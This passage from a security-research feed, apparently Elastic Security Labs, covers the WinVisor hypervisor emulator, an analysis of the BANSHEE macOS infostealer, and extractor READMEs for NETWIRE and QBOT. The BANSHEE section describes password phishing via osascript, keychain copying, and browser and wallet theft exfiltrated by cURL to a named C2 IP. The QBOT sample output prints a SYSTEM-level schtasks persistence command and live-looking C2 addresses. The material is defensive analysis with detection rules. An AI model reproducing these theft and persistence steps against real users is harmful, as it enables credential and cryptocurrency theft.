<p>In addition to using a fixed number of currently mapped pages, the emulator also uses a fixed-size page table. The size of the page table is determined by calculating the maximum possible number of tables for the amount of mapped page entries. This model results in a simple and consistent physical memory layout but comes at the cost of efficiency. In fact, the paging tables take up more space than the actual page entries.</p>
<p>There is a single PML4 table, and in the worst-case scenario, each mapped page entry will reference unique PDPT/PD/PT tables. As each table is <code>4096</code> bytes, the total page table size can be calculated using the following formula:</p>
<pre><code>PAGE_TABLE_SIZE = 4096 + (MAXIMUM_MAPPED_PAGES * 4096 * 3)
</code></pre>
<p>By default, the emulator allows for <code>256</code> pages to be mapped at any one time (<code>1024KB</code> in total). Using the formula above, we can calculate that this will require <code>3076KB</code> for the paging table, as illustrated below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt391c47ed9d02df5d/6a7d8712e02fac39f75d35b4/8gv-image.png" alt="Diagram illustrating the physical memory map within the virtualized guest" title="Diagram illustrating the physical memory map within the virtualized guest" /></p>
<p>In practice, many of the page table entries will be shared, and a lot of the space allocated for the paging tables will remain unused. However, as this emulator functions well even with a small number of pages, this level of overhead is not a major concern.</p>
<p>The CPU maintains a hardware-level cache for the paging table known as the Translation Lookaside Buffer (TLB). When translating a virtual address to a physical address, the CPU will first check the TLB. If a matching entry is not found in the cache (known as a “TLB miss”), the paging tables will be read instead. For this reason, it is important to flush the TLB cache whenever the paging tables have been rebuilt to prevent it from falling out of sync. The simplest way to flush the entire TLB is to reset the <code>CR3</code> register value.</p>
<h2 id="syscallhandling">Syscall handling</h2>
<p>As the target program executes, any system calls that occur within the guest must be handled by the host. This emulator handles both <code>SYSCALL</code> instructions and legacy (interrupt-based) syscalls. <code>SYSENTER</code> is not used in long-mode and, therefore, is not supported by WinVisor.</p>
<h3 id="fastsyscallsyscall">Fast syscall (SYSCALL)</h3>
<p>When a <code>SYSCALL</code> instruction executes, the CPU transitions to CPL0 and loads <code>RIP</code> from <code>MSR_LSTAR</code>. In the Windows kernel, this would point to <code>KiSystemCall64</code>. <code>SYSCALL</code> instructions won't inherently trigger a VM Exit event, but the emulator sets <code>MSR_LSTAR</code> to a reserved placeholder address — <code>0xFFFF800000000000</code> in this case. When a <code>SYSCALL</code> instruction is executed, a page fault will be raised when RIP is set to this address, and the call can be intercepted. This placeholder is a kernel address in Windows and won't cause any conflicts with the user-mode address space.</p>
<p>Unlike legacy syscalls, the <code>SYSCALL</code> instruction doesn't swap the <code>RSP</code> value during the transition to CPL0, so the user-mode stack pointer can be retrieved directly from <code>RSP</code>.</p>
<h3 id="legacysyscallsint2e">Legacy syscalls (INT 2E)</h3>
<p>Legacy interrupt-based syscalls are slower and have more overhead than the <code>SYSCALL</code> instruction, but despite this, they are still supported by Windows. As the emulator already contains a framework for handling interrupts, adding support for legacy syscalls is very simple. When a legacy syscall interrupt is caught, it can be forwarded to the “common” syscall handler after some minor translations — specifically, retrieving the stored user-mode <code>RSP</code> value from the CPL0 stack.</p>
<h3 id="syscallforwarding">Syscall forwarding</h3>
<p>After the emulator creates the "main thread" whose context gets cloned into the virtual CPU, this native thread is reused as a proxy to forward syscalls to the host. Reusing the same thread maintains consistency for the TEB and any kernel state between the guest and the host. Win32k, in particular, relies on many thread-specific states, which should be reflected in the emulator.</p>
<p>When a syscall occurs, either by a <code>SYSCALL</code> instruction or a legacy interrupt, the emulator intercepts it and transfers it to a universal handler function. The syscall number is stored in the <code>RAX</code> register, and the first four parameter values are stored in <code>R10</code>, <code>RDX</code>, <code>R8</code>, and <code>R9</code>, respectively. <code>R10</code> is used for the first parameter instead of the usual <code>RCX</code> register because the <code>SYSCALL</code> instruction overwrites <code>RCX</code> with the return address. The legacy syscall handler in Windows (<code>KiSystemService</code>) also uses <code>R10</code> for compatibility, so it doesn’t need to be handled differently in the emulator. The remaining parameters are retrieved from the stack.</p>
<p>We don’t know the exact number of parameters expected for any given syscall number, but luckily, this doesn’t matter. We can simply use a fixed amount, and as long as the number of supplied parameters is greater than or equal to the actual number, the syscall will function correctly. A simple assembly stub will be dynamically created, populating all of the parameters, executing the target syscall, and returning cleanly.</p>
<p>Testing showed that the maximum number of parameters currently used by Windows syscalls is <code>17</code> (<code>NtAccessCheckByTypeResultListAndAuditAlarmByHandle</code>, <code>NtCreateTokenEx</code>, and <code>NtUserCreateWindowEx</code>). WinVisor uses <code>32</code> as the maximum number of parameters to allow for potential future expansion.</p>
<p>After executing the syscall on the host, the return value is copied to <code>RAX</code> in the guest. <code>RIP</code> is then transferred to a <code>SYSRET</code> instruction (or <code>IRETQ</code> for legacy syscalls) before resuming the virtual CPU for a seamless transition back to user-mode.</p>
<h3 id="syscalllogging">Syscall logging</h3>
<p>By default, the emulator simply forwards guest syscalls to the host and logs them to the console. However, some additional steps are necessary to convert the raw syscalls into a readable format.</p>
<p>The first step is to convert the syscall number to a name. Syscall numbers are made up of multiple parts: bits <code>12</code> - <code>13</code> contain the system service table index (<code>0</code> for <code>ntoskrnl</code>, <code>1</code> for <code>win32k</code>), and bits <code>0</code> - <code>11</code> contain the syscall index within the table. This information allows us to perform a reverse-lookup within the corresponding user-mode module (<code>ntdll</code> / <code>win32u</code>) to resolve the original syscall name.</p>
<p>The next step is to determine the number of parameter values to display for each syscall. As mentioned above, the emulator passes <code>32</code> parameter values to each syscall, even if most of them are not used. However, logging all <code>32</code> values for each syscall wouldn't be ideal for readability reasons. For example, a simple <code>NtClose(0x100)</code> call would be printed as <code>NtClose(0x100, xxx, xxx, xxx, xxx, xxx, xxx, xxx, xxx, ...)</code>. As mentioned earlier, there is no simple way to automatically determine the exact number of parameters for each syscall, but there is a trick that we can use to estimate it with high accuracy.</p>
<p>This trick relies on the 32-bit system libraries used by WoW64. These libraries use the stdcall calling convention, which means the caller pushes all parameters onto the stack, and they are cleaned internally by the callee before returning. In contrast, native x64 code places the first 4 parameters into registers, and the caller is responsible for managing the stack.</p>
<p>For example, the <code>NtClose</code> function in the WoW64 version of <code>ntdll.dll</code> ends with the <code>RET 4</code> instruction. This pops an additional 4-bytes off the stack after the return address, which implies that the function takes one parameter. If the function used <code>RET 8</code>, this would suggest that it takes 2 parameters, and so on.</p>
<p>Even though the emulator runs as a 64-bit process, we can still load the 32-bit copies of <code>ntdll.dll</code> and <code>win32u.dll</code> into memory - either manually or mapped using <code>SEC_IMAGE</code>. A custom version of <code>GetProcAddress</code> must be written to resolve the WoW64 export addresses, but this is a trivial task. From here, we can automatically find the corresponding WoW64 export for each syscall, scan for the <code>RET</code> instruction to calculate the number of parameters, and store the value in a lookup table.</p>
<p>This method is not perfect, and there are a number of ways that this could fail:</p>
<ul>
<li>A small number of native syscalls don't exist in WoW64, such as <code>NtUserSetWindowLongPtr</code>.</li>
<li>If a 32-bit function contains a 64-bit parameter, it will be split into 2x 32-bit parameters internally, whereas the corresponding 64-bit function would only require a single parameter for the same value.</li>
<li>The WoW64 syscall stub functions within Windows could change in such a way that causes the existing <code>RET</code> instruction search to fail.</li>
</ul>
<p>Despite these pitfalls, the results will be accurate for the vast majority of syscalls without having to rely on hardcoded values. In addition, these values are only used for logging purposes and won't affect anything else, so minor inaccuracies are acceptable in this context. If a failure is detected, it will revert back to displaying the maximum number of parameter values.</p>
<h3 id="syscallhooking">Syscall hooking</h3>
<p>If this project were being used for sandboxing purposes, blindly forwarding all syscalls to the host would be undesirable for obvious reasons. The emulator contains a framework that allows specific syscalls to be easily hooked if necessary.</p>
<p>By default, only <code>NtTerminateThread</code> and <code>NtTerminateProcess</code> are hooked to catch the guest process exiting.</p>
<h2 id="interrupthandling">Interrupt handling</h2>
<p>Interrupts are defined by the IDT, which is populated before the virtual CPU execution begins. When an interrupt occurs, the current CPU state is pushed onto the CPL0 stack (<code>SS</code>, <code>RSP</code>, <code>RFLAGS</code>, <code>CS</code>, <code>RIP</code>), and <code>RIP</code> is set to the target handler function.</p>
<p>As with <code>MSR_LSTAR</code> for the SYSCALL handler, the emulator populates all interrupt handler addresses with placeholder values (<code>0xFFFFA00000000000</code> - <code>0xFFFFA000000000FF</code>). When an interrupt occurs, a page fault will occur within this range, which we can catch. The interrupt index can be extracted from the lowest 8-bits of the target address (e.g., <code>0xFFFFA00000000003</code> is <code>INT 3</code>), and the host can handle it as necessary.</p>
<p>At present, the emulator only handles <code>INT 1</code> (single-step), <code>INT 3</code> (breakpoint), and <code>INT 2E</code> (legacy syscall). If any other interrupt is caught, the emulator will exit with an error.</p>
<p>When an interrupt has been handled, <code>RIP</code> is transferred to an <code>IRETQ</code> instruction, which returns to user-mode cleanly. Some types of interrupts push an additional "error code" value onto the stack - if this is the case, it must be popped prior to the <code>IRETQ</code> instruction to avoid stack corruption. The interrupt handler framework within this emulator contains an optional flag to handle this transparently.</p>
<h2 id="hypervisorsharedpagebug">Hypervisor shared page bug</h2>
<p>Windows 10 introduced a new type of shared page which is located close to <code>KUSER_SHARED_DATA</code>. This page is used by timing-related functions such as <code>RtlQueryPerformanceCounter</code> and <code>RtlGetMultiTimePrecise</code>.</p>
<p>The exact address of this page can be retrieved with <code>NtQuerySystemInformation</code>, using the <code>SystemHypervisorSharedPageInformation</code> information class. The <code>LdrpInitializeProcess</code> function stores the address of this page in a global variable (<code>RtlpHypervisorSharedUserVa</code>) during process startup.</p>
<p>The WHP API seems to contain a bug that causes the <code>WHvRunVirtualProcessor</code> function to get stuck in an infinite loop if this shared page is mapped into the guest and the virtual CPU attempts to read from it.</p>
<p>Time constraints limited the ability to fully investigate this; however, a simple workaround was implemented. The emulator patches the <code>NtQuerySystemInformation</code> function within the target process and forces it to return <code>STATUS_INVALID_INFO_CLASS</code> for <code>SystemHypervisorSharedPageInformation</code> requests. This causes the <code>ntdll</code> code to fall back to traditional methods.</p>
<h2 id="demos">Demos</h2>
<p>Some examples of common Windows executables being emulated under this virtualized environment below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf3ef2873a10b898/6a7d87153cab1c152d0e1aa4/Slj_Image_3.png" alt="ping.exe being emulated by WinVisor" title="ping.exe being emulated by WinVisor" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt86e015f720f40a17/6a7d87176693f8709d661138/gs2_Image_4.png" alt="cmd.exe being emulated by WinVisor" title="cmd.exe being emulated by WinVisor" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt358982b7d856ae8a/6a7d871a96b5a6db9d8786f5/zkL_Image_5.png" alt="notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes" title="notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes" /></p>
<h2 id="limitations">Limitations</h2>
<p>The emulator has several limitations that make it unsafe to use as a secure sandbox in its current form. </p>
<h3 id="safetyissues">Safety issues</h3>
<p>There are several ways to "escape" the VM, such as simply creating a new process/thread, scheduling asynchronous procedure calls (APCs), etc.</p>
<p>Windows GUI-related syscalls can also make nested calls directly back into user-mode from the kernel, which would currently bypass the hypervisor layer. For this reason, GUI executables such as notepad.exe are only partially virtualized when run under WinVisor.</p>
<p>To demonstrate this, WinVisor includes an <code>-nx</code> command-line switch to the emulator. This forces the entire target EXE image to be marked as non-executable in memory prior to starting the virtual CPU, causing the process to crash if the host process attempts to execute any of the code natively. However, this is still unsafe to rely on — the target application could make the region executable again or simply allocate executable memory elsewhere.</p>
<p>As the WinVisor DLL is injected into the target process, it exists within the same virtual address space as the target executable. This means the code running under the virtual CPU is able to directly access the memory within the host hypervisor module, which could potentially corrupt it. </p>
<h3 id="nonexecutableguestmemory">Non-executable guest memory</h3>
<p>While the virtual CPU is set up to support NX, all memory regions are currently mirrored into the guest with full RWX access.</p>
<h3 id="singlethreadonly">Single-thread only</h3>
<p>The emulator currently only supports virtualizing a single thread. If the target executable creates additional threads, they will be executed natively. To support multiple threads, a pseudo-scheduler could be developed to handle this in the future.</p>
<p>The Windows parallel loader is disabled to ensure all module dependencies are loaded by a single thread.</p>
<h3 id="softwareexceptions">Software exceptions</h3>
<p>Virtualized software exceptions are not currently supported. If an exception occurs, the system will call the <code>KiUserExceptionDispatcher</code> function natively as usual.</p>
<h2 id="conclusion">Conclusion</h2>
<p>As seen above, the emulator performs well with a wide range of executables in its current form. While it is currently effective for logging syscalls and interrupts, a lot of further work would be required to make it safe to use for malware analysis purposes. Despite this, the project provides an effective framework for future development.</p>
<h2 id="projectlinks">Project links</h2>
<p><a href="https://github.com/x86matthew/WinVisor">https://github.com/x86matthew/WinVisor</a></p>
<p>The author can be found on X at <a href="https://x.com/x86matthew">@x86matthew</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/winvisor-hypervisor-based-emulator</link>
    <guid isPermaLink="false">winvisor-hypervisor-based-emulator</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltffc1b8d9f750ec1f/6a7d871dbd21982e8c755382/winvisor.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 24 Jan 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Beyond the wail: deconstructing the BANSHEE infostealer]]></title>
    <description><![CDATA[The BANSHEE malware is a macOS-based infostealer that targets system information, browser data, and cryptocurrency wallets.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>In August 2024, a novel macOS malware named "BANSHEE Stealer" emerged, catching the attention of the cybersecurity community. Reportedly developed by Russian threat actors, BANSHEE Stealer was introduced on an underground forum and is designed to function across both macOS x86_64 and ARM64 architectures. </p>
<p>This malware presents a severe risk to macOS users, targeting vital system information, browser data, and cryptocurrency wallets.</p>
<p>With a steep monthly subscription price of $3,000, BANSHEE Stealer stands out in the market, particularly compared to known stealers like AgentTesla. </p>
<p>As macOS increasingly becomes a prime target for cybercriminals, BANSHEE Stealer underscores the rising observance of macOS-specific malware. This analysis explores the technical details of BANSHEE Stealer, aiming to help the community understand its impact and stay informed about emerging threats.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta7a51c61f0c39d69/6a7c7852ead8ec1401ba47f1/image2.png" alt="Source: https://x.com/privacyis1st/status/1822948909670408573" title="Source: https://x.com/privacyis1st/status/1822948909670408573" /></p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>BANSHEE Stealer highlights the growing number of macOS malware samples as the OS becomes a more attractive target for cyber threats.</li>
<li>BANSHEE Stealer's $3,000 monthly price is notably high compared to Windows-based stealers.</li>
<li>BANSHEE Stealer targets a wide range of browsers, cryptocurrency wallets, and around 100 browser extensions, making it a highly versatile and dangerous threat.</li>
</ul>
<h2 id="malwareanalysis">Malware Analysis</h2>
<p>The malware we analyzed in this research contained all the C++ symbols, which is interesting as we can guess the project's code structure by knowing these source code file names, as seen in the picture below. Looking into the C++-generated global variable initialization functions, we can find values set automatically/manually by the user during the build process, like the remote IP, encryption key, build ID, etc.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcede302bf8d10932/6a7c7855e88c6508d60056d1/image5.png" alt="Functions list that initialize the global variables of every source file" title="Functions list that initialize the global variables of every source file" /></p>
<p>The following table summarizes the leaked <code>.cpp</code> file names through the symbols in the binary.</p>
<p>| File name      | Description                                                                                                          |
|----------------|----------------------------------------------------------------------------------------------------------------------|
| <code>Controller.cpp</code> | Manages core execution tasks, including anti-debugging measures, language checks, data collection, and exfiltration. |
| <code>Browsers.cpp</code>   | Handles the collection of data from various web browsers.                                                            |
| <code>System.cpp</code>     | Executes AppleScripts to gather system information and perform password phishing.                                    |
| <code>Tools.cpp</code>      | Provides utility functions for encryption, directory creation, and compression etc.                                  |
| <code>Wallets.cpp</code>    | Responsible for collecting data from cryptocurrency wallets.                                                         |</p>
<h3 id="debuggervmdetectionandlanguagechecks">Debugger, VM Detection, and Language Checks</h3>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt65739435f54c57cf/6a7c78584c4bfb2111cc7785/image8.png" alt="Checking for debugging, Virtualization, and the language of the machine" title="Checking for debugging, Virtualization, and the language of the machine" /></p>
<p>BANSHEE Stealer uses basic techniques to evade detection. It detects debugging by utilizing the <a href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html">sysctl</a> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2e7d201b09ca61ac/6a7c785be02facb55c5d0397/image1.png" alt="Debugging detection with sysctl macOS API" title="Debugging detection with sysctl macOS API" /></p>
<p>For virtualization detection, it runs the command <code>system_profiler SPHardwareDataType | grep 'Model Identifier'</code> to determine whether the string <code>Virtual</code> appears in the hardware model identifier, which suggests a virtual machine. These methods are relatively simple and can be easily circumvented by advanced sandboxes and malware analysts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf5d0835fac6a55ad/6a7c785d9f525160f1663efa/image7.png" alt="Virtual machine check" title="Virtual machine check" /></p>
<p>Additionally, It parses the user-preferred canonicalized language returned from the <a href="https://developer.apple.com/documentation/corefoundation/1542887-cflocalecopypreferredlanguages">CFLocaleCopyPreferredLanguages </a> API and looks for the string <code>ru</code>. This tactic helps the malware avoid infecting systems where Russian is the primary language.</p>
<h3 id="systeminformationcollection">System information collection</h3>
<h4 id="userpassword">User password</h4>
<p>The malware creates an <a href="https://ss64.com/mac/osascript.html">Osascript</a> password prompt with a dialog saying that to launch the application, you need to update the system settings. Please enter your password.</p>
<p>When the user enters the password, it will be validated using the <a href="https://ss64.com/mac/dscl.html">dscl</a> command by running <code>dscl Local/Default -authonly &lt;username&gt; &lt;password&gt;</code></p>
<p>If valid, the password will be written to the following file <code>/Users/&lt;username&gt;/password-entered</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltac9a54aa0288c579/6a7c786073d9bd9eb7297acc/image3.png" alt="User password phishing through a prompt" title="User password phishing through a prompt" /></p>
<p>These credentials can be leveraged to decrypt the keychain data stored on the system, granting access to all saved passwords.</p>
<h4 id="filesoftwareandhardwareinformationcollection">File, software, and hardware information collection</h4>
<p>The function <code>System::collectSystemInfo</code> collects system information and serializes it in a JSON object. It executes the command <code>system_profiler SPSoftware DataType SPHardwareDataType</code>, which provides details about the system’s software and hardware. It gets the machine's public IP by requesting it from <code>freeipapi.com</code> through the built-in macOS <code>cURL</code> command.</p>
<p>The JSON file will be saved under <code>&lt;temporary_path&gt;/system_info.json</code></p>
<p>BANSHEE stealer executes AppleScripts; interestingly, it writes the AppleScripts to the same file <code>/tmp/tempAppleScript</code>.</p>
<p>The first script to be executed first mutes the system sound with <code>osascript -e 'set volume with output muted'</code> command. It then collects various files from the system, which are listed below:</p>
<ul>
<li>Safari cookies</li>
<li>Notes database</li>
<li>Files with the following extensions <code>.txt</code>, <code>.docx</code>, <code>.rtf</code>, <code>.doc</code>, <code>.wallet</code>, <code>.keys</code>, or <code>.key</code> from the Desktop and Documents folders.</li>
</ul>
<h4 id="dumpkeychainpasswords">Dump keychain passwords</h4>
<p>It copies the keychain of the system <code>/Library/Keychains/login.keychain-db</code> to <code>&lt;temporary_path&gt;/Passwords</code></p>
<h3 id="browsercollection">Browser collection</h3>
<p>BANSHEE collects data from 9 different browsers currently, including browser history, cookies, logins, etc:</p>
<ul>
<li>Chrome</li>
<li>Firefox</li>
<li>Brave</li>
<li>Edge</li>
<li>Vivaldi</li>
<li>Yandex</li>
<li>Opera</li>
<li>OperaGX</li>
</ul>
<p>Regarding Safari, only the cookies are collected by the AppleScript script for the current version.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4def9cdbd9cb9445/6a7c78621967ea472132a72e/image4.png" alt="Web browser file collection" title="Web browser file collection" /></p>
<p>Additionally, data from approximately 100 browser plugins are collected from the machine. A list of these extension IDs is provided at the end of the blog post.</p>
<p>The collected files are saved under <code>&lt;temporary_path&gt;/Browsers</code>.</p>
<h3 id="walletcollection">Wallet collection</h3>
<ul>
<li>Exodus</li>
<li>Electrum</li>
<li>Coinomi</li>
<li>Guarda</li>
<li>Wasabi Wallet</li>
<li>Atomic</li>
<li>Ledger</li>
</ul>
<p>The collected wallets are stored under <code>&lt;temporary_path&gt;/Wallets</code>.</p>
<h3 id="exfiltration">Exfiltration</h3>
<p>After the malware finishes collecting data, it first ZIP compresses the temporary folder using the <code>ditto</code> command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: <code>http://45.142.122[.]92/send/</code> with the built-in cURL command.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt92e2d8c73d1c4ff4/6a7c7865fc63abf9ca646dec/image6.png" alt="Xor and base64 encoding of the zip file to be exfiltrated" title="Xor and base64 encoding of the zip file to be exfiltrated" /></p>
<h2 id="behaviordetection">Behavior detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_crypto_wallet_file_access_by_unsigned_or_untrusted_binary.toml">Crypto Wallet File Access by Unsigned or Untrusted Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_web_browser_credential_data_accessed_by_unsigned_or_untrusted_process.toml">Web Browser Credential Data Accessed by Unsigned or Untrusted Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/command_and_control_osascript_payload_drop_and_execute.toml">Osascript Payload Drop and Execute</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_potential_credentials_phishing_via_osascript.toml">Potential Credentials Phishing via Osascript</a></li>
</ul>
<h2 id="yararule">YARA rule</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:</p>
<pre><code>rule Macos_Infostealer_Banshee {
    meta:
        author = "Elastic Security"
        creation_date = "2024-08-13"
        last_modified = "2024-08-13"
        os = "MacOS"
        arch = "x86, arm64"
        category_type = "Infostealer"
        family = "Banshee"
        threat_name = "Macos.Infostealer.Banshee"
        license = "Elastic License v2"

    strings:
        $str_0 = "No debugging, VM, or Russian language detected." ascii fullword
        $str_1 = "Remote IP: " ascii fullword
        $str_2 = "Russian language detected!" ascii fullword
        $str_3 = " is empty or does not exist, skipping." ascii fullword
        $str_4 = "Data posted successfully" ascii fullword
        $binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }
        $binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }
    condition:
        all of ($str_*) or all of ($binary_*)
}
</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>BANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.</p>
<h2 id="observables">Observables</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/banshee">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type      | Name            | Reference          |
|------------------------------------------------------------------|-----------|-----------------|--------------------|
| 11aa6eeca2547fcf807129787bec0d576de1a29b56945c5a8fb16ed8bf68f782 | SHA-256   | BANSHEE stealer |                    |
| 45.142.122[.]92                                                  | ipv4-addr |                 | BANSHEE stealer C2 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/beyond-the-wail</link>
    <guid isPermaLink="false">beyond-the-wail</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2be202b0369d1248/6a7c786851156a43422bc796/beyond-the-wail.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 15 Aug 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[NETWIRE Configuration Extractor]]></title>
    <description><![CDATA[Python script to extract the configuration from NETWIRE samples.]]></description>
    <content:encoded><![CDATA[<p>Python script to extract the payload from NETWIRE samples.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdcef1d05d2077d05/63d43627c31a7126813ff8b6/netwire-configuration-extractor.tar.gz">Download netwire-configuration-extractor.tar.gz</a></p>
<blockquote>
  <p>For information on the NETWIRE malware check out the following resources:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction">NETWIRE Dynamic Configuration Extraction</a></li>
  </ul>
</blockquote>
<h2 id="gettingstarted">Getting started</h2>
<h3 id="docker">Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t netwire_loader_config_extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data netwire_loader_config_extractor:latest --help
</code></pre>
<h3 id="runningitlocally">Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
netwire-config-extractor --help
</code></pre>
<h2 id="usage">Usage</h2>
<p>All samples need to be unpacked prior to execution extraction attempts.</p>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample and then can output parts of the configuration of note, specifically:</p>
<ul>
<li><strong>-k</strong> : extract the encryption keys</li>
<li><strong>-c</strong> : extract the C2 information</li>
<li><strong>-s</strong> : extract the wide-character strings</li>
<li><strong>-a</strong> : extract the ASCII character strings</li>
</ul>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data netwire_loader_config_extractor:latest -d "C:\tmp\samples"
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd488d621e2daea68/6a7d837777b034175e3fc687/image6.jpg" alt="NETWIRE configuration extractor" title="NETWIRE configuration extractor" /></p>
<p>You can collect the extracted configurations from the directory you set when running the extractor.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/netwire-configuration-extractor</link>
    <guid isPermaLink="false">netwire-configuration-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt57852b765fd03ec6/6a7d837a3ce8e28075cf26aa/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 27 Jan 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[QBOT Configuration Extractor]]></title>
    <description><![CDATA[Python script to extract the configuration from QBOT samples.]]></description>
    <content:encoded><![CDATA[<p>Python script to extract the configuration from QBOT samples.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta4523f3b586ba6ac/62e16e26d2f5267009ac073a/qbot-config-extractor.tar.gz">Download qbot-config-extractor.tar.gz</a></p>
<h2 id="gettingstarted">Getting Started</h2>
<p>This tool provides a Python module and command line tool that will extract configurations from the QBOT malware samples and dump the results to screen.</p>
<blockquote>
  <p>For information on the QBOT attack pattern and malware analysis, check out our blog posts detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern">Exploring the QBOT Attack Pattern</a></li>
  <li><a href="https://www.elastic.co/security-labs/qbot-malware-analysis">QBOT Malware Analysis</a></li>
  </ul>
</blockquote>
<h3 id="docker">Docker</h3>
<p>We can easily run the extractor with Docker, first we need to build the image:</p>
<pre><code>docker build . -t qbot-config-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory:</p>
<pre><code>docker run -ti --rm -v \
"$(pwd)/data":/data qbot-config-extractor:latest -d /data/
</code></pre>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>.</p>
<pre><code>$ docker run -ti --rm -v $(pwd)/data:/data qbot-config-extractor:latest -f data/c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a

=== Strings ===
# Blob address: 0x100840a0
# Key address: 0x10084040
[0x0]: ProgramData
[0xc]: /t4
[0x10]: EBBA
[0x15]: netstat -nao
[0x22]: jHxastDcds)oMc=jvh7wdUhxcsdt2
[0x40]: schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F

...truncated...

=== RESOURCE 1 ===
Key: b'\\System32\\WindowsPowerShel1\\v1.0\\powershel1.exe'
Type: DataType.DOMAINS
41.228.22.180:443
47.23.89.62:995
176.67.56.94:443
103.107.113.120:443
148.64.96.100:443
47.180.172.159:443
181.118.183.98:443

...truncated...
</code></pre>
<h3 id="runningitlocally">Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
